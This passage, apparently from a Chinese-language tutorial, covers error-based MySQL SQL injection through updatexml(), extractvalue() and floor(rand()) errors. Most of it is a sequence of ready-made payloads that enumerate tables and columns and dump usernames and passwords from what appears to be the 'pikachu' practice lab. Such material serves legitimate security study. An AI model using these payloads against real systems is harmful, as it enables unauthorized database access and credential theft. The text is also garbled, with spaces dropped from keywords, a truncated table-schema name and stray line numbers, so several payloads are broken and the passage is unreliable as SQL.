例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
extractvalue()函数
此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
floor()函数
原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。
1and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #其实原理类似,通过union语句哪里找到表名,然后作为参数输入,报错返回信息
爆字段
1 2
1and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu'and table_name='users'),0x7e),1) #把字段名作为参数,报错返回
爆内容
1
1and updatexml(1,concat(0x7e,(select group_concat(username) from pikachu.users)),1)
1
1and updatexml(1,concat(0x7e,(select group_concat(password) from pikachu.users)),1)
1and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit i,1)))
爆字段
1
1and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))
爆内容
1
1and extractvalue(1,concat(0x7e,(select group_concat(username) from pikachu.users)))
1
1and extractvalue(1,concat(0x7e,(select group_concat(password) from pikachu.users)))
floor()函数
爆库名
1
1unionselectcount(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata groupby x
爆表名
1 2
1unionselectcount(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit i,1)) x from information_schema.schemata groupby x #i是可以变的,用来爆出不同的表名
爆字段
1 2
1unionselectcount(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users'and table_schema=datab limit i,1)) x from information_schema.schemata groupby x #同样limit i,1可变,爆不同的字段
爆内容
1 2
1unionselectcount(*),concat(floor(rand(0)*2),0x3a,(select concat(username,0x3a,password) from pikachu.users limit i,1)) x from information_schema.schemata groupby x #i可变